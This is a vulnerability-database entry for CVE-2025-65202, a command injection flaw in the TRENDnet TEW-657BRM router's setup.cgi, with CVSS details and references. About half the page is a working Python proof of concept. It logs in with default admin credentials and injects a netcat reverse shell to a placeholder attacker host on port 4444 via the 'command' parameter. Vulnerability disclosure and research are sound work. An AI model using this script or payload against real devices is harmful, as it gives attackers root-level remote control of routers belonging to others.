CVE-2025-65202

Description

TRENDnet TEW-657BRM 1.00.1 has an authenticated remote OS command injection vulnerability in the setup.cgi binary, exploitable via the HTTP parameters "command", "todo", and "next_file," which allows an attacker to execute arbitrary commands with root privileges.

CVSS Details

CVSS Score

8.0

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:trendnet:tew-657brm_firmware:1.00.1:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:trendnet:tew-657brm:-:*:*:*:*:*:*:* - NOT VULNERABLE

TRENDnet TEW-657BRM 1.00.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import sys

# CVE-2025-65202 PoC for TRENDnet TEW-657BRM Command Injection
# Target: TRENDnet TEW-657BRM 1.00.1
# Vulnerability: Authenticated OS Command Injection in setup.cgi

target_ip = sys.argv[1] if len(sys.argv) > 1 else "192.168.10.1"
username = "admin"
password = "admin"

# Authentication
session = requests.Session()
auth = session.post(f"http://{target_ip}/login.cgi", data={
    "username": username,
    "password": password
})

# Command injection via 'command' parameter
# Inject reverse shell command
payload = ";nc -e /bin/bash ATTACKER_IP 4444 #"
inject_url = f"http://{target_ip}/setup.cgi"
params = {
    "command": payload,
    "todo": "save",
    "next_file": "../index.asp"
}

response = session.get(inject_url, params=params)
print(f"[*] Exploit sent. Check your listener on port 4444")
print(f"[*] Response status: {response.status_code}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-65202
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-65202
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-65202/
[4] VulDB https://vuldb.com/cve/CVE-2025-65202
[5] https://github.com/WhereisRain/TEW-657BRM

Raw JSON Data

JSON

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